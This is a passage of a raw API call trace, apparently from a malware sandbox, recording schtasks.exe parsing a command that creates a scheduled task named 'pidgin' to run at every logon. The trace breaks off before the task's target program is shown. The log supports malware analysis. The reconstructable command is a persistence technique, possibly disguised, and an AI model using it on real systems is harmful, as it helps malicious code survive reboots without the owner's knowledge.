0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="f") returned 1 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="v1") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="xml") returned 3 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.000] lstrlenW (lpString="ec") returned 2 [0112.000] GetThreadLocale () returned 0x409 [0112.000] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.001] lstrlenW (lpString="rl") returned 2 [0112.001] GetThreadLocale () returned 0x409 [0112.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.001] lstrlenW (lpString="delay") returned 5 [0112.001] GetThreadLocale () returned 0x409 [0112.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.001] lstrlenW (lpString="np") returned 2 [0112.001] GetThreadLocale () returned 0x409 [0112.001] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0112.001] lstrlenW (lpString="hresult") returned 7 [0112.001] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.001] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.001] lstrlenW (lpString="/create") returned 7 [0112.001] lstrlenW (lpString="-/") returned 2 [0112.001] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.001] lstrlenW (lpString="create") returned 6 [0112.001] lstrlenW (lpString="create") returned 6 [0112.001] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.001] lstrlenW (lpString="create") returned 6 [0112.001] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.001] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.001] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.001] lstrlenW (lpString="|create|") returned 8 [0112.001] lstrlenW (lpString="|create|") returned 8 [0112.001] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0112.001] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.001] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.001] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.001] lstrlenW (lpString="/tn") returned 3 [0112.001] lstrlenW (lpString="-/") returned 2 [0112.002] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.002] lstrlenW (lpString="create") returned 6 [0112.002] lstrlenW (lpString="create") returned 6 [0112.002] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.002] lstrlenW (lpString="tn") returned 2 [0112.002] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.002] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.002] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.002] lstrlenW (lpString="|create|") returned 8 [0112.002] lstrlenW (lpString="|tn|") returned 4 [0112.002] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0112.002] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.002] lstrlenW (lpString="?") returned 1 [0112.002] lstrlenW (lpString="?") returned 1 [0112.002] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.002] lstrlenW (lpString="tn") returned 2 [0112.002] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.002] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|?|") returned 3 [0112.002] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.002] lstrlenW (lpString="|?|") returned 3 [0112.002] lstrlenW (lpString="|tn|") returned 4 [0112.002] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.002] lstrlenW (lpString="s") returned 1 [0112.002] lstrlenW (lpString="s") returned 1 [0112.002] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.002] lstrlenW (lpString="tn") returned 2 [0112.002] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|s|") returned 3 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.003] lstrlenW (lpString="|s|") returned 3 [0112.003] lstrlenW (lpString="|tn|") returned 4 [0112.003] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.003] lstrlenW (lpString="u") returned 1 [0112.003] lstrlenW (lpString="u") returned 1 [0112.003] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.003] lstrlenW (lpString="tn") returned 2 [0112.003] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|u|") returned 3 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.003] lstrlenW (lpString="|u|") returned 3 [0112.003] lstrlenW (lpString="|tn|") returned 4 [0112.003] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.003] lstrlenW (lpString="p") returned 1 [0112.003] lstrlenW (lpString="p") returned 1 [0112.003] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.003] lstrlenW (lpString="tn") returned 2 [0112.003] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|p|") returned 3 [0112.003] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.003] lstrlenW (lpString="|p|") returned 3 [0112.003] lstrlenW (lpString="|tn|") returned 4 [0112.003] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.003] lstrlenW (lpString="ru") returned 2 [0112.003] lstrlenW (lpString="ru") returned 2 [0112.003] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] lstrlenW (lpString="tn") returned 2 [0112.004] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ru|") returned 4 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.004] lstrlenW (lpString="|ru|") returned 4 [0112.004] lstrlenW (lpString="|tn|") returned 4 [0112.004] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0112.004] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.004] lstrlenW (lpString="rp") returned 2 [0112.004] lstrlenW (lpString="rp") returned 2 [0112.004] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] lstrlenW (lpString="tn") returned 2 [0112.004] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rp|") returned 4 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.004] lstrlenW (lpString="|rp|") returned 4 [0112.004] lstrlenW (lpString="|tn|") returned 4 [0112.004] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0112.004] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.004] lstrlenW (lpString="sc") returned 2 [0112.004] lstrlenW (lpString="sc") returned 2 [0112.004] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] lstrlenW (lpString="tn") returned 2 [0112.004] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.004] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.004] lstrlenW (lpString="|sc|") returned 4 [0112.004] lstrlenW (lpString="|tn|") returned 4 [0112.005] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0112.005] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.005] lstrlenW (lpString="mo") returned 2 [0112.005] lstrlenW (lpString="mo") returned 2 [0112.005] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.005] lstrlenW (lpString="tn") returned 2 [0112.005] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.005] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|mo|") returned 4 [0112.005] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.005] lstrlenW (lpString="|mo|") returned 4 [0112.005] lstrlenW (lpString="|tn|") returned 4 [0112.005] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0112.005] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.005] lstrlenW (lpString="d") returned 1 [0112.005] lstrlenW (lpString="d") returned 1 [0112.005] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.005] lstrlenW (lpString="tn") returned 2 [0112.005] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.005] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|d|") returned 3 [0112.005] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.005] lstrlenW (lpString="|d|") returned 3 [0112.005] lstrlenW (lpString="|tn|") returned 4 [0112.005] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.005] lstrlenW (lpString="m") returned 1 [0112.005] lstrlenW (lpString="m") returned 1 [0112.005] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.005] lstrlenW (lpString="tn") returned 2 [0112.005] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|m|") returned 3 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.006] lstrlenW (lpString="|m|") returned 3 [0112.006] lstrlenW (lpString="|tn|") returned 4 [0112.006] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.006] lstrlenW (lpString="i") returned 1 [0112.006] lstrlenW (lpString="i") returned 1 [0112.006] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.006] lstrlenW (lpString="tn") returned 2 [0112.006] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|i|") returned 3 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.006] lstrlenW (lpString="|i|") returned 3 [0112.006] lstrlenW (lpString="|tn|") returned 4 [0112.006] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.006] lstrlenW (lpString="tn") returned 2 [0112.006] lstrlenW (lpString="tn") returned 2 [0112.006] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.006] lstrlenW (lpString="tn") returned 2 [0112.006] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.006] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tn|") returned 4 [0112.006] lstrlenW (lpString="|tn|") returned 4 [0112.006] lstrlenW (lpString="|tn|") returned 4 [0112.006] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0112.006] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.006] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] lstrlenW (lpString="pidgin") returned 6 [0112.007] lstrlenW (lpString="-/") returned 2 [0112.007] StrChrIW (lpStart="-/", wMatch=0x70) returned 0x0 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] lstrlenW (lpString="pidgin") returned 6 [0112.007] StrChrIW (lpStart="pidgin", wMatch=0x3a) returned 0x0 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] lstrlenW (lpString="pidgin") returned 6 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] lstrlenW (lpString="/sc") returned 3 [0112.007] lstrlenW (lpString="-/") returned 2 [0112.007] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.007] lstrlenW (lpString="create") returned 6 [0112.007] lstrlenW (lpString="create") returned 6 [0112.007] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.007] lstrlenW (lpString="sc") returned 2 [0112.007] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.007] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.007] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.007] lstrlenW (lpString="|create|") returned 8 [0112.007] lstrlenW (lpString="|sc|") returned 4 [0112.007] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0112.007] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.007] lstrlenW (lpString="?") returned 1 [0112.007] lstrlenW (lpString="?") returned 1 [0112.008] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] lstrlenW (lpString="sc") returned 2 [0112.008] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|?|") returned 3 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.008] lstrlenW (lpString="|?|") returned 3 [0112.008] lstrlenW (lpString="|sc|") returned 4 [0112.008] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.008] lstrlenW (lpString="s") returned 1 [0112.008] lstrlenW (lpString="s") returned 1 [0112.008] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] lstrlenW (lpString="sc") returned 2 [0112.008] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|s|") returned 3 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.008] lstrlenW (lpString="|s|") returned 3 [0112.008] lstrlenW (lpString="|sc|") returned 4 [0112.008] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.008] lstrlenW (lpString="u") returned 1 [0112.008] lstrlenW (lpString="u") returned 1 [0112.008] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] lstrlenW (lpString="sc") returned 2 [0112.008] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|u|") returned 3 [0112.008] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.008] lstrlenW (lpString="|u|") returned 3 [0112.009] lstrlenW (lpString="|sc|") returned 4 [0112.009] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.009] lstrlenW (lpString="p") returned 1 [0112.009] lstrlenW (lpString="p") returned 1 [0112.009] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.009] lstrlenW (lpString="sc") returned 2 [0112.009] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.009] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|p|") returned 3 [0112.009] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.009] lstrlenW (lpString="|p|") returned 3 [0112.009] lstrlenW (lpString="|sc|") returned 4 [0112.009] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.009] lstrlenW (lpString="ru") returned 2 [0112.009] lstrlenW (lpString="ru") returned 2 [0112.009] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.009] lstrlenW (lpString="sc") returned 2 [0112.009] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.009] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|ru|") returned 4 [0112.009] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.009] lstrlenW (lpString="|ru|") returned 4 [0112.009] lstrlenW (lpString="|sc|") returned 4 [0112.009] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0112.009] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.009] lstrlenW (lpString="rp") returned 2 [0112.009] lstrlenW (lpString="rp") returned 2 [0112.009] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.010] lstrlenW (lpString="sc") returned 2 [0112.010] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.010] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|rp|") returned 4 [0112.010] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.010] lstrlenW (lpString="|rp|") returned 4 [0112.010] lstrlenW (lpString="|sc|") returned 4 [0112.010] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0112.010] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.010] lstrlenW (lpString="sc") returned 2 [0112.010] lstrlenW (lpString="sc") returned 2 [0112.010] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.010] lstrlenW (lpString="sc") returned 2 [0112.010] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.010] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.010] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|sc|") returned 4 [0112.010] lstrlenW (lpString="|sc|") returned 4 [0112.010] lstrlenW (lpString="|sc|") returned 4 [0112.010] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0112.010] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.010] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.010] lstrlenW (lpString="ONLOGON") returned 7 [0112.010] lstrlenW (lpString="-/") returned 2 [0112.010] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0112.011] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.011] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.011] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.011] lstrlenW (lpString="ONLOGON") returned 7 [0112.011] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0112.011] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.011] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.011] GetProcessHeap () returned 0x144ec910000 [0112.011] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x18) returned 0x144ec91a950 [0112.011] _memicmp (_Buf1=0x144ec91a950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.011] lstrlenW (lpString="ONLOGON") returned 7 [0112.011] GetProcessHeap () returned 0x144ec910000 [0112.011] RtlAllocateHeap (HeapHandle=0x144ec910000, Flags=0xc, Size=0x10) returned 0x144ec91aad0 [0112.011] lstrlenW (lpString="ONLOGON") returned 7 [0112.011] lstrlenW (lpString=" \x09") returned 2 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0112.011] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0112.011] GetLastError () returned 0x0 [0112.011] lstrlenW (lpString="ONLOGON") returned 7 [0112.012] lstrlenW (lpString="ONLOGON") returned 7 [0112.012] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.012] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.012] lstrlenW (lpString="/tr") returned 3 [0112.012] lstrlenW (lpString="-/") returned 2 [0112.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.012] lstrlenW (lpString="create") returned 6 [0112.012] lstrlenW (lpString="create") returned 6 [0112.012] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.012] lstrlenW (lpString="tr") returned 2 [0112.012] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.012] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|create|") returned 8 [0112.012] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.012] lstrlenW (lpString="|create|") returned 8 [0112.013] lstrlenW (lpString="|tr|") returned 4 [0112.013] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0112.013] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.013] lstrlenW (lpString="?") returned 1 [0112.013] lstrlenW (lpString="?") returned 1 [0112.013] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.013] lstrlenW (lpString="tr") returned 2 [0112.013] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.013] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|?|") returned 3 [0112.013] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.013] lstrlenW (lpString="|?|") returned 3 [0112.013] lstrlenW (lpString="|tr|") returned 4 [0112.013] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.024] lstrlenW (lpString="s") returned 1 [0112.024] lstrlenW (lpString="s") returned 1 [0112.025] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.025] lstrlenW (lpString="tr") returned 2 [0112.025] _memicmp (_Buf1=0x144ec9138b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|s|") returned 3 [0112.025] _vsnwprintf (in: _Buffer=0x144ec9138d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x28fa76c7f8 | out: _Buffer="|tr|") returned 4 [0112.025] lstrlenW (lpString="|s|") returned 3 [0112.025] lstrlenW (lpString="|tr|") returned 4 [0112.025] RtlRestoreLastWin32Error () returned 0x28fa8a5000 [0112.025] lstrlenW (lpString="u") returned 1 [0112.025] lstrlenW (lpString="u") returned 1 [0112.025] _memicmp (_Buf1=0x144ec913f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 